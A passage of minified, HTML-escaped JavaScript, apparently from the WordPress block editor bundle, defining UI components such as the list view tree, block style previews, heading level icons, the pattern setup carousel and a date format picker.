o(e),t}),[e])}(k),{getBlock:x}=(0,g.useSelect)(Ii),{visibleBlockCount:S}=(0,g.useSelect)((e=&gt;{const{getGlobalBlockCount:t,getClientIdsOfDescendants:n}=e(Ii),o=v?.length&gt;0?n(v).length+1:0;return{visibleBlockCount:t()-o}}),[v]),{updateBlockSelection:w}=CM(),[C,B]=(0,h.useReducer)(PM,{}),[j,E]=(0,h.useState)(null),{setSelectedTreeId:M}=function({firstSelectedBlockClientId:e,setExpandedState:t}){const[n,o]=(0,h.useState)(null),{selectedBlockParentClientIds:r}=(0,g.useSelect)((t=&gt;{const{getBlockParents:n}=t(Ii);return{selectedBlockParentClientIds:n(e,!1)}}),[e]);return(0,h.useEffect)((()=&gt;{n!==e&amp;&amp;r?.length&amp;&amp;t({type:&quot;expand&quot;,clientIds:r})}),[e,r,n,t]),{setSelectedTreeId:o}}({firstSelectedBlockClientId:_[0],setExpandedState:B}),P=(0,h.useCallback)(((e,t,n)=&gt;{w(e,t,null,n),M(t),u&amp;&amp;u(x(t))}),[M,w,u,x]),{ref:R,target:A}=function({dropZoneElement:e,expandedState:t,setExpandedState:n}){const{getBlockRootClientId:o,getBlockIndex:r,getBlockCount:i,getDraggedBlockClientIds:s,canInsertBlocks:l}=(0,g.useSelect)(Ii),[a,c]=(0,h.useState)(),{rootClientId:u,blockIndex:d}=a||{},p=DS(u,d),f=(0,T.isRTL)(),b=(0,m.usePrevious)(u),k=(0,h.useCallback)(((e,t)=&gt;{const{rootClientId:o}=t||{};o&amp;&amp;(&quot;inside&quot;!==t?.dropPosition||e[o]||n({type:&quot;expand&quot;,clientIds:[o]}))}),[n]),v=(0,m.useThrottle)(k,500,TM);(0,h.useEffect)((()=&gt;{&quot;inside&quot;===a?.dropPosition&amp;&amp;b===a?.rootClientId?v(t,a):v.cancel()}),[t,b,a,v]);const _=s(),y=(0,m.useThrottle)((0,h.useCallback)(((e,t)=&gt;{const n={x:e.clientX,y:e.clientY},s=!!_?.length,a=EM(Array.from(t.querySelectorAll(&quot;[data-block]&quot;)).map((e=&gt;{const t=e.dataset.block,n=&quot;true&quot;===e.dataset.expanded,a=e.classList.contains(&quot;is-dragging&quot;),c=parseInt(e.getAttribute(&quot;aria-level&quot;),10),u=o(t);return{clientId:t,isExpanded:n,rootClientId:u,blockIndex:r(t),element:e,nestingLevel:c||void 0,isDraggedBlock:!!s&amp;&amp;a,innerBlockCount:i(t),canInsertDraggedBlocksAsSibling:!s||l(_,u),canInsertDraggedBlocksAsChild:!s||l(_,t)}})),n,f);a&amp;&amp;c(a)}),[l,_,i,r,o,f]),50);return{ref:(0,m.__experimentalUseDropZone)({dropZoneElement:e,onDrop(e){y.cancel(),a&amp;&amp;p(e),c(void 0)},onDragLeave(){y.cancel(),c(null)},onDragOver(e){y(e,e.currentTarget)},onDragEnd(){y.cancel(),c(void 0)}}),target:a}}({dropZoneElement:o,expandedState:C,setExpandedState:B}),N=(0,h.useRef)(),L=MM({selectBlock:P}),D=(0,m.useMergeRefs)([L,N,R,f]);(0,h.useEffect)((()=&gt;{_?.length&amp;&amp;kM(_[0],N?.current)}),[]);const O=(0,h.useCallback)((e=&gt;{if(!e)return;const t=Array.isArray(e)?e:[e];B({type:&quot;expand&quot;,clientIds:t})}),[B]),z=(0,h.useCallback)((e=&gt;{e&amp;&amp;B({type:&quot;collapse&quot;,clientIds:[e]})}),[B]),V=(0,h.useCallback)((()=&gt;{B({type:&quot;clear&quot;})}),[B]),F=(0,h.useCallback)((e=&gt;{O(e?.dataset?.block)}),[O]),H=(0,h.useCallback)((e=&gt;{z(e?.dataset?.block)}),[z]),G=(0,h.useCallback)(((e,t,n)=&gt;{e.shiftKey&amp;&amp;w(e,t?.dataset?.block,n?.dataset?.block)}),[w]);!function({collapseAll:e,expand:t}){const{expandedBlock:n,getBlockParents:o}=(0,g.useSelect)((e=&gt;{const{getBlockParents:t,getExpandedBlock:n}=U(e(Ii));return{expandedBlock:n(),getBlockParents:t}}),[]);(0,h.useEffect)((()=&gt;{if(n){const r=o(n,!1);e(),t(r)}}),[e,t,n,o])}({collapseAll:V,expand:O});const $=v?.[0],{blockDropTargetIndex:W,blockDropPosition:K,firstDraggedBlockIndex:Z}=(0,h.useMemo)((()=&gt;{let e,t;if(A?.clientId){const t=y[A.clientId];e=void 0===t||&quot;top&quot;===A?.dropPosition?t:t+1}else null===A&amp;&amp;(e=null);if($){const e=y[$];t=void 0===e||&quot;top&quot;===A?.dropPosition?e:e+1}return{blockDropTargetIndex:e,blockDropPosition:A?.dropPosition,firstDraggedBlockIndex:t}}),[A,y,$]),q=(0,h.useMemo)((()=&gt;({blockDropPosition:K,blockDropTargetIndex:W,blockIndexes:y,draggedClientIds:v,expandedState:C,expand:O,firstDraggedBlockIndex:Z,collapse:z,collapseAll:V,BlockSettingsMenu:l,listViewInstanceId:b,AdditionalBlockContent:p,insertedBlock:j,setInsertedBlock:E,treeGridElementRef:N,rootClientId:a})),[K,W,y,v,C,O,Z,z,V,l,b,p,j,E,a]),[Y]=(0,m.__experimentalUseFixedWindowList)(N,32,S,{expandedState:C,useWindowing:!0,windowOverscan:40});if(!k.length&amp;&amp;!s)return null;const X=c&amp;&amp;`block-editor-list-view-description-${b}`;return(0,d.jsxs)(g.AsyncModeProvider,{value:!0,children:[(0,d.jsx)(wM,{draggedBlockClientId:$,listViewRef:N,blockDropTarget:A}),c&amp;&amp;(0,d.jsx)(Ss.VisuallyHidden,{id:X,children:c}),(0,d.jsx)(Ss.__experimentalTreeGrid,{id:t,className:gs(&quot;block-editor-list-view-tree&quot;,{&quot;is-dragging&quot;:v?.length&gt;0&amp;&amp;void 0!==W}),&quot;aria-label&quot;:(0,T.__)(&quot;Block navigation structure&quot;),ref:D,onCollapseRow:H,onExpandRow:F,onFocusRow:G,applicationAriaLabel:(0,T.__)(&quot;Block navigation structure&quot;),&quot;aria-describedby&quot;:X,style:{&quot;--wp-admin--list-view-dragged-items-height&quot;:v?.length?32*(v.length-1)+&quot;px&quot;:null},children:(0,d.jsx)(nM.Provider,{value:q,children:(0,d.jsx)(SM,{blocks:k,parentId:a,selectBlock:P,showBlockMovers:r,fixedListWindow:Y,selectedClientIds:_,isExpanded:i,showAppender:s})})})]})}));var AM=(0,h.forwardRef)(((e,t)=&gt;(0,d.jsx)(RM,{ref:t,...e,showAppender:!1,rootClientId:null,onSelect:null,additionalBlockContent:null,blockSettingsMenu:void 0})));function NM({isEnabled:e,onToggle:t,isOpen:n,innerRef:o,...r}){return(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,...r,ref:o,icon:tM,&quot;aria-expanded&quot;:n,&quot;aria-haspopup&quot;:&quot;true&quot;,onClick:e?t:void 0,label:(0,T.__)(&quot;List view&quot;),className:&quot;block-editor-block-navigation&quot;,&quot;aria-disabled&quot;:!e})}var LM=(0,h.forwardRef)((function({isDisabled:e,...t},n){I()(&quot;wp.blockEditor.BlockNavigationDropdown&quot;,{since:&quot;6.1&quot;,alternative:&quot;wp.components.Dropdown and wp.blockEditor.ListView&quot;});const o=(0,g.useSelect)((e=&gt;!!e(Ii).getBlockCount()),[])&amp;&amp;!e;return(0,d.jsx)(Ss.Dropdown,{contentClassName:&quot;block-editor-block-navigation__popover&quot;,popoverProps:{placement:&quot;bottom-start&quot;},renderToggle:({isOpen:e,onToggle:r})=&gt;(0,d.jsx)(NM,{...t,innerRef:n,isOpen:e,onToggle:r,isEnabled:o}),renderContent:()=&gt;(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-navigation__container&quot;,children:[(0,d.jsx)(&quot;p&quot;,{className:&quot;block-editor-block-navigation__label&quot;,children:(0,T.__)(&quot;List view&quot;)}),(0,d.jsx)(AM,{})]})})}));function DM({genericPreviewBlock:e,style:t,className:n,activeStyle:o}){const r=(0,p.getBlockType)(e.name)?.example,i=nE(n,o,t),s=(0,h.useMemo)((()=&gt;({...e,title:t.label||t.name,description:t.description,initialAttributes:{...e.attributes,className:i+&quot; block-editor-block-styles__block-preview-container&quot;},example:r})),[e,i]);return(0,d.jsx)(vC,{item:s})}const OM=()=&gt;{};var zM=function({clientId:e,onSwitch:t=OM,onHoverClassName:n=OM}){const{onSelect:o,stylesToRender:r,activeStyle:i,genericPreviewBlock:s,className:l}=rE({clientId:e,onSwitch:t}),[a,c]=(0,h.useState)(null),u=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);if(!r||0===r.length)return null;const p=(0,m.debounce)(c,250),g=e=&gt;{a!==e?(p(e),n(e?.name??null)):p.cancel()};return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-styles&quot;,children:[(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-styles__variants&quot;,children:r.map((e=&gt;{const t=e.label||e.name;return(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,className:gs(&quot;block-editor-block-styles__item&quot;,{&quot;is-active&quot;:i.name===e.name}),variant:&quot;secondary&quot;,label:t,onMouseEnter:()=&gt;g(e),onFocus:()=&gt;g(e),onMouseLeave:()=&gt;g(null),onBlur:()=&gt;g(null),onClick:()=&gt;(e=&gt;{o(e),n(null),c(null),p.cancel()})(e),&quot;aria-current&quot;:i.name===e.name,children:(0,d.jsx)(Ss.__experimentalTruncate,{numberOfLines:1,className:&quot;block-editor-block-styles__item-text&quot;,children:t})},e.name)}))}),a&amp;&amp;!u&amp;&amp;(0,d.jsx)(Ss.Popover,{placement:&quot;left-start&quot;,offset:34,focusOnMount:!1,children:(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-styles__preview-panel&quot;,onMouseLeave:()=&gt;g(null),children:(0,d.jsx)(DM,{activeStyle:i,className:l,genericPreviewBlock:s,style:a})})})]})};const VM={0:(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;m9.99609 14v-.2251l.00391.0001v6.225h1.5v-14.5h2.5v14.5h1.5v-14.5h3v-1.5h-8.50391c-2.76142 0-5 2.23858-5 5 0 2.7614 2.23858 5 5 5z&quot;})}),1:(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M17.6 7c-.6.9-1.5 1.7-2.6 2v1h2v7h2V7h-1.4zM11 11H7V7H5v10h2v-4h4v4h2V7h-2v4z&quot;})}),2:(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M9 11.1H5v-4H3v10h2v-4h4v4h2v-10H9v4zm8 4c.5-.4.6-.6 1.1-1.1.4-.4.8-.8 1.2-1.3.3-.4.6-.8.9-1.3.2-.4.3-.8.3-1.3 0-.4-.1-.9-.3-1.3-.2-.4-.4-.7-.8-1-.3-.3-.7-.5-1.2-.6-.5-.2-1-.2-1.5-.2-.4 0-.7 0-1.1.1-.3.1-.7.2-1 .3-.3.1-.6.3-.9.5-.3.2-.6.4-.8.7l1.2 1.2c.3-.3.6-.5 1-.7.4-.2.7-.3 1.2-.3s.9.1 1.3.4c.3.3.5.7.5 1.1 0 .4-.1.8-.4 1.1-.3.5-.6.9-1 1.2-.4.4-1 .9-1.6 1.4-.6.5-1.4 1.1-2.2 1.6v1.5h8v-2H17z&quot;})}),3:(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M9 11H5V7H3v10h2v-4h4v4h2V7H9v4zm11.3 1.7c-.4-.4-1-.7-1.6-.8v-.1c.6-.2 1.1-.5 1.5-.9.3-.4.5-.8.5-1.3 0-.4-.1-.8-.3-1.1-.2-.3-.5-.6-.8-.8-.4-.2-.8-.4-1.2-.5-.6-.1-1.1-.2-1.6-.2-.6 0-1.3.1-1.8.3s-1.1.5-1.6.9l1.2 1.4c.4-.2.7-.4 1.1-.6.3-.2.7-.3 1.1-.3.4 0 .8.1 1.1.3.3.2.4.5.4.8 0 .4-.2.7-.6.9-.7.3-1.5.5-2.2.4v1.6c.5 0 1 0 1.5.1.3.1.7.2 1 .3.2.1.4.2.5.4s.1.4.1.6c0 .3-.2.7-.5.8-.4.2-.9.3-1.4.3s-1-.1-1.4-.3c-.4-.2-.8-.4-1.2-.7L13 15.6c.5.4 1 .8 1.6 1 .7.3 1.5.4 2.3.4.6 0 1.1-.1 1.6-.2.4-.1.9-.2 1.3-.5.4-.2.7-.5.9-.9.2-.4.3-.8.3-1.2 0-.6-.3-1.1-.7-1.5z&quot;})}),4:(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M20 13V7h-3l-4 6v2h5v2h2v-2h1v-2h-1zm-2 0h-2.8L18 9v4zm-9-2H5V7H3v10h2v-4h4v4h2V7H9v4z&quot;})}),5:(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M9 11H5V7H3v10h2v-4h4v4h2V7H9v4zm11.7 1.2c-.2-.3-.5-.7-.8-.9-.3-.3-.7-.5-1.1-.6-.5-.1-.9-.2-1.4-.2-.2 0-.5.1-.7.1-.2.1-.5.1-.7.2l.1-1.9h4.3V7H14l-.3 5 1 .6.5-.2.4-.1c.1-.1.3-.1.4-.1h.5c.5 0 1 .1 1.4.4.4.2.6.7.6 1.1 0 .4-.2.8-.6 1.1-.4.3-.9.4-1.4.4-.4 0-.9-.1-1.3-.3-.4-.2-.7-.4-1.1-.7 0 0-1.1 1.4-1 1.5.5.4 1 .8 1.6 1 .7.3 1.5.4 2.3.4.5 0 1-.1 1.5-.3s.9-.4 1.3-.7c.4-.3.7-.7.9-1.1s.3-.9.3-1.4-.1-1-.3-1.4z&quot;})}),6:(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M20.7 12.4c-.2-.3-.4-.6-.7-.9s-.6-.5-1-.6c-.4-.2-.8-.2-1.2-.2-.5 0-.9.1-1.3.3s-.8.5-1.2.8c0-.5 0-.9.2-1.4l.6-.9c.2-.2.5-.4.8-.5.6-.2 1.3-.2 1.9 0 .3.1.6.3.8.5 0 0 1.3-1.3 1.3-1.4-.4-.3-.9-.6-1.4-.8-.6-.2-1.3-.3-2-.3-.6 0-1.1.1-1.7.4-.5.2-1 .5-1.4.9-.4.4-.8 1-1 1.6-.3.7-.4 1.5-.4 2.3s.1 1.5.3 2.1c.2.6.6 1.1 1 1.5.4.4.9.7 1.4.9 1 .3 2 .3 3 0 .4-.1.8-.3 1.2-.6.3-.3.6-.6.8-1 .2-.5.3-.9.3-1.4s-.1-.9-.3-1.3zm-2 2.1c-.1.2-.3.4-.4.5-.1.1-.3.2-.5.2-.2.1-.4.1-.6.1-.2.1-.5 0-.7-.1-.2 0-.3-.2-.5-.3-.1-.2-.3-.4-.4-.6-.2-.3-.3-.7-.3-1 .3-.3.6-.5 1-.7.3-.1.7-.2 1-.2.4 0 .8.1 1.1.3.3.3.4.7.4 1.1 0 .2 0 .5-.1.7zM9 11H5V7H3v10h2v-4h4v4h2V7H9v4z&quot;})})};function FM({level:e}){return VM[e]?(0,d.jsx)(Ss.Icon,{icon:VM[e]}):null}const HM=[1,2,3,4,5,6],UM={className:&quot;block-library-heading-level-dropdown&quot;};function GM({options:e=HM,value:t,onChange:n}){const o=e.filter((e=&gt;0===e||HM.includes(e))).sort(((e,t)=&gt;e-t));return(0,d.jsx)(Ss.ToolbarDropdownMenu,{popoverProps:UM,icon:(0,d.jsx)(FM,{level:t}),label:(0,T.__)(&quot;Change level&quot;),controls:o.map((e=&gt;{const o=e===t;return{icon:(0,d.jsx)(FM,{level:e}),title:0===e?(0,T.__)(&quot;Paragraph&quot;):(0,T.sprintf)((0,T.__)(&quot;Heading %d&quot;),e),isActive:o,onClick(){n(e)},role:&quot;menuitemradio&quot;}}))})}var $M=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot;})});var WM=function({icon:e=$M,label:t=(0,T.__)(&quot;Choose variation&quot;),instructions:n=(0,T.__)(&quot;Select a variation to start with:&quot;),variations:o,onSelect:r,allowSkip:i}){const s=gs(&quot;block-editor-block-variation-picker&quot;,{&quot;has-many-variations&quot;:o.length&gt;4});return(0,d.jsxs)(Ss.Placeholder,{icon:e,label:t,instructions:n,className:s,children:[(0,d.jsx)(&quot;ul&quot;,{className:&quot;block-editor-block-variation-picker__variations&quot;,role:&quot;list&quot;,&quot;aria-label&quot;:(0,T.__)(&quot;Block variations&quot;),children:o.map((e=&gt;(0,d.jsxs)(&quot;li&quot;,{children:[(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,icon:e.icon&amp;&amp;e.icon.src?e.icon.src:e.icon,iconSize:48,onClick:()=&gt;r(e),className:&quot;block-editor-block-variation-picker__variation&quot;,label:e.description||e.title}),(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-variation-picker__variation-label&quot;,children:e.title})]},e.name)))}),i&amp;&amp;(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-variation-picker__skip&quot;,children:(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:()=&gt;r(),children:(0,T.__)(&quot;Skip&quot;)})})]})};const KM=&quot;carousel&quot;,ZM=&quot;grid&quot;,qM=({onBlockPatternSelect:e})=&gt;(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-pattern-setup__actions&quot;,children:(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:e,children:(0,T.__)(&quot;Choose&quot;)})}),YM=({handlePrevious:e,handleNext:t,activeSlide:n,totalSlides:o})=&gt;(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-pattern-setup__navigation&quot;,children:[(0,d.jsx)(Ss.Button,{size:&quot;compact&quot;,icon:(0,T.isRTL)()?Kb:Zb,label:(0,T.__)(&quot;Previous pattern&quot;),onClick:e,disabled:0===n,accessibleWhenDisabled:!0}),(0,d.jsx)(Ss.Button,{size:&quot;compact&quot;,icon:(0,T.isRTL)()?Zb:Kb,label:(0,T.__)(&quot;Next pattern&quot;),onClick:t,disabled:n===o-1,accessibleWhenDisabled:!0})]});var XM=({viewMode:e,setViewMode:t,handlePrevious:n,handleNext:o,activeSlide:r,totalSlides:i,onBlockPatternSelect:s})=&gt;{const l=e===KM,a=(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-pattern-setup__display-controls&quot;,children:[(0,d.jsx)(Ss.Button,{size:&quot;compact&quot;,icon:aa,label:(0,T.__)(&quot;Carousel view&quot;),onClick:()=&gt;t(KM),isPressed:l}),(0,d.jsx)(Ss.Button,{size:&quot;compact&quot;,icon:vT,label:(0,T.__)(&quot;Grid view&quot;),onClick:()=&gt;t(ZM),isPressed:e===ZM})]});return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-pattern-setup__toolbar&quot;,children:[l&amp;&amp;(0,d.jsx)(YM,{handlePrevious:n,handleNext:o,activeSlide:r,totalSlides:i}),a,l&amp;&amp;(0,d.jsx)(qM,{onBlockPatternSelect:s})]})};var QM=function(e,t,n){return(0,g.useSelect)((o=&gt;{const{getBlockRootClientId:r,getPatternsByBlockTypes:i,__experimentalGetAllowedPatterns:s}=o(Ii),l=r(e);return n?s(l).filter(n):i(t,l)}),[e,t,n])};const JM=({viewMode:e,activeSlide:t,patterns:n,onBlockPatternSelect:o,showTitles:r})=&gt;{const i=&quot;block-editor-block-pattern-setup__container&quot;;if(e===KM){const e=new Map([[t,&quot;active-slide&quot;],[t-1,&quot;previous-slide&quot;],[t+1,&quot;next-slide&quot;]]);return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-pattern-setup__carousel&quot;,children:(0,d.jsx)(&quot;div&quot;,{className:i,children:(0,d.jsx)(&quot;div&quot;,{className:&quot;carousel-container&quot;,children:n.map(((n,o)=&gt;(0,d.jsx)(tP,{active:o===t,className:e.get(o)||&quot;&quot;,pattern:n},n.name)))})})})}return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-pattern-setup__grid&quot;,children:(0,d.jsx)(Ss.Composite,{role:&quot;listbox&quot;,className:i,&quot;aria-label&quot;:(0,T.__)(&quot;Patterns list&quot;),children:n.map((e=&gt;(0,d.jsx)(eP,{pattern:e,onSelect:o,showTitles:r},e.name)))})})};function eP({pattern:e,onSelect:t,showTitles:n}){const o=&quot;block-editor-block-pattern-setup-list&quot;,{blocks:r,description:i,viewportWidth:s=700}=e,l=(0,m.useInstanceId)(eP,`${o}__item-description`);return(0,d.jsx)(&quot;div&quot;,{className:`${o}__list-item`,children:(0,d.jsxs)(Ss.Composite.Item,{render:(0,d.jsx)(&quot;div&quot;,{&quot;aria-describedby&quot;:i?l:void 0,&quot;aria-label&quot;:e.title,className:`${o}__item`}),id:`${o}__pattern__${e.name}`,role:&quot;option&quot;,onClick:()=&gt;t(r),children:[(0,d.jsx)(bC,{blocks:r,viewportWidth:s}),n&amp;&amp;(0,d.jsx)(&quot;div&quot;,{className:`${o}__item-title`,children:e.title}),!!i&amp;&amp;(0,d.jsx)(Ss.VisuallyHidden,{id:l,children:i})]})})}function tP({active:e,className:t,pattern:n,minHeight:o}){const{blocks:r,title:i,description:s}=n,l=(0,m.useInstanceId)(tP,&quot;block-editor-block-pattern-setup-list__item-description&quot;);return(0,d.jsxs)(&quot;div&quot;,{&quot;aria-hidden&quot;:!e,role:&quot;img&quot;,className:`pattern-slide ${t}`,&quot;aria-label&quot;:i,&quot;aria-describedby&quot;:s?l:void 0,children:[(0,d.jsx)(bC,{blocks:r,minHeight:o}),!!s&amp;&amp;(0,d.jsx)(Ss.VisuallyHidden,{id:l,children:s})]})}var nP=({clientId:e,blockName:t,filterPatternsFn:n,onBlockPatternSelect:o,initialViewMode:r=KM,showTitles:i=!1})=&gt;{const[s,l]=(0,h.useState)(r),[a,c]=(0,h.useState)(0),{replaceBlock:u}=(0,g.useDispatch)(Ii),m=QM(e,t,n);if(!m?.length)return null;const f=o||(t=&gt;{const n=t.map((e=&gt;(0,p.cloneBlock)(e)));u(e,n)});return(0,d.jsx)(d.Fragment,{children:(0,d.jsxs)(&quot;div&quot;,{className:`block-editor-block-pattern-setup view-mode-${s}`,children:[(0,d.jsx)(JM,{viewMode:s,activeSlide:a,patterns:m,onBlockPatternSelect:f,showTitles:i}),(0,d.jsx)(XM,{viewMode:s,setViewMode:l,activeSlide:a,totalSlides:m.length,handleNext:()=&gt;{c((e=&gt;Math.min(e+1,m.length-1)))},handlePrevious:()=&gt;{c((e=&gt;Math.max(e-1,0)))},onBlockPatternSelect:()=&gt;{f(m[a].blocks)}})]})})};function oP({className:e,onSelectVariation:t,selectedValue:n,variations:o}){return(0,d.jsxs)(&quot;fieldset&quot;,{className:e,children:[(0,d.jsx)(Ss.VisuallyHidden,{as:&quot;legend&quot;,children:(0,T.__)(&quot;Transform to variation&quot;)}),o.map((e=&gt;(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,size:&quot;compact&quot;,icon:(0,d.jsx)(zu,{icon:e.icon,showColors:!0}),isPressed:n===e.name,label:n===e.name?e.title:(0,T.sprintf)((0,T.__)(&quot;Transform to %s&quot;),e.title),onClick:()=&gt;t(e.name),&quot;aria-label&quot;:e.title,showTooltip:!0},e.name)))]})}function rP({className:e,onSelectVariation:t,selectedValue:n,variations:o}){const r=o.map((({name:e,title:t,description:n})=&gt;({value:e,label:t,info:n})));return(0,d.jsx)(Ss.DropdownMenu,{className:e,label:(0,T.__)(&quot;Transform to variation&quot;),text:(0,T.__)(&quot;Transform to variation&quot;),popoverProps:{position:&quot;bottom center&quot;,className:`${e}__popover`},icon:_I,toggleProps:{iconPosition:&quot;right&quot;},children:()=&gt;(0,d.jsx)(Ss.MenuGroup,{children:(0,d.jsx)(Ss.MenuItemsChoice,{choices:r,value:n,onSelect:t})})})}function iP({className:e,onSelectVariation:t,selectedValue:n,variations:o}){return(0,d.jsx)(&quot;div&quot;,{className:e,children:(0,d.jsx)(Ss.__experimentalToggleGroupControl,{label:(0,T.__)(&quot;Transform to variation&quot;),value:n,hideLabelFromVision:!0,onChange:t,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,children:o.map((e=&gt;(0,d.jsx)(Ss.__experimentalToggleGroupControlOptionIcon,{icon:(0,d.jsx)(zu,{icon:e.icon,showColors:!0}),value:e.name,label:n===e.name?e.title:(0,T.sprintf)((0,T.__)(&quot;Transform to %s&quot;),e.title)},e.name)))})})}var sP=function({blockClientId:e}){const{updateBlockAttributes:t}=(0,g.useDispatch)(Ii),{activeBlockVariation:n,unfilteredVariations:o,blockName:r,isContentOnly:i,isSection:s}=(0,g.useSelect)((t=&gt;{const{getActiveBlockVariation:n,getBlockVariations:o}=t(p.store),{getBlockName:r,getBlockAttributes:i,getBlockEditingMode:s,isSectionBlock:l}=U(t(Ii)),a=e&amp;&amp;r(e),{hasContentRoleAttribute:c}=U(t(p.store)),u=c(a);return{activeBlockVariation:n(a,i(e),&quot;transform&quot;),unfilteredVariations:a&amp;&amp;o(a,&quot;transform&quot;),blockName:a,isContentOnly:&quot;contentOnly&quot;===s(e)&amp;&amp;!u,isSection:l(e)}}),[e]),l=(0,h.useMemo)((()=&gt;&quot;core/paragraph&quot;===r?&quot;stretchy-paragraph&quot;===n?.name||o.every((e=&gt;[&quot;paragraph&quot;,&quot;stretchy-paragraph&quot;].includes(e.name)))?[]:o.filter((e=&gt;&quot;stretchy-paragraph&quot;!==e.name)):&quot;core/heading&quot;===r?&quot;stretchy-heading&quot;===n?.name||o.every((e=&gt;[&quot;heading&quot;,&quot;stretchy-heading&quot;].includes(e.name)))?[]:o.filter((e=&gt;&quot;stretchy-heading&quot;!==e.name)):o),[n?.name,r,o]),a=n?.name,c=(0,h.useMemo)((()=&gt;{const e=new Set;return!!l&amp;&amp;(l.forEach((t=&gt;{t.icon&amp;&amp;e.add(t.icon?.src||t.icon)})),e.size===l.length)}),[l]),u=window?.__experimentalContentOnlyPatternInsertion&amp;&amp;s;if(!l?.length||i||u)return null;const m=l.length&gt;5,f=c?m?oP:iP:rP;return(0,d.jsx)(f,{className:&quot;block-editor-block-variation-transforms&quot;,onSelectVariation:n=&gt;{t(e,{...l.find((({name:e})=&gt;e===n)).attributes})},selectedValue:a,variations:l})},lP=(0,m.createHigherOrderComponent)((e=&gt;t=&gt;{const[n,o,r,i,s]=Ei(&quot;color.palette.default&quot;,&quot;color.palette.theme&quot;,&quot;color.palette.custom&quot;,&quot;color.custom&quot;,&quot;color.defaultPalette&quot;),l=s?[...o||[],...n||[],...r||[]]:[...o||[],...r||[]],{colors:a=l,disableCustomColors:c=!i}=t,u=a&amp;&amp;a.length&gt;0||!c;return(0,d.jsx)(e,{...{...t,colors:a,disableCustomColors:c,hasColorsToChoose:u}})}),&quot;withColorContext&quot;),aP=lP(Ss.ColorPalette);function cP({onChange:e,value:t,...n}){return(0,d.jsx)(Zp,{...n,onColorChange:e,colorValue:t,gradients:[],disableCustomGradients:!0})}const uP=window.wp.date,dP=new Date;function pP({format:e,defaultFormat:t,onChange:n}){return(0,d.jsxs)(Ss.__experimentalVStack,{as:&quot;fieldset&quot;,spacing:4,className:&quot;block-editor-date-format-picker&quot;,children:[(0,d.jsx)(Ss.VisuallyHidden,{as:&quot;legend&quot;,children:(0,T.__)(&quot;Date format&quot;)}),(0,d.jsx)(Ss.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Default format&quot;),help:`${(0,T.__)(&quot;Example:&quot;)}  ${(0,uP.dateI18n)(t,dP)}`,checked:!e,onChange:e=&gt;n(e?null:t)}),e&amp;&amp;(0,d.jsx)(hP,{format:e,onChange:n})]})}function hP({format:e,onChange:t}){const n=[...[...new Set([&quot;Y-m-d&quot;,(0,T._x)(&quot;n/j/Y&quot;,&quot;short date format&quot;),(0,T._x)(&quot;n/j/Y g:i A&quot;,&quot;short date format with time&quot;),(0,T._x)(&quot;M j, Y&quot;,&quot;medium date format&quot;),(0,T._x)(&quot;M j, Y g:i A&quot;,&quot;medium date format with time&quot;),(0,T._x)(&quot;F j, Y&quot;,&quot;long date format&quot;),(0,T._x)(&quot;M j&quot;,&quot;short date format without the year&quot;)])].map(((e,t)=&gt;({key:`suggested-${t}`,name:(0,uP.dateI18n)(e,dP),format:e}))),{key:&quot;human-diff&quot;,name:(0,uP.humanTimeDiff)(dP),format:&quot;human-diff&quot;}],o={key:&quot;custom&quot;,name:(0,T.__)(&quot;Custom&quot;),className:&quot;block-editor-date-format-picker__custom-format-select-control__custom-option&quot;,hint:(0,T.__)(&quot;Enter your own date 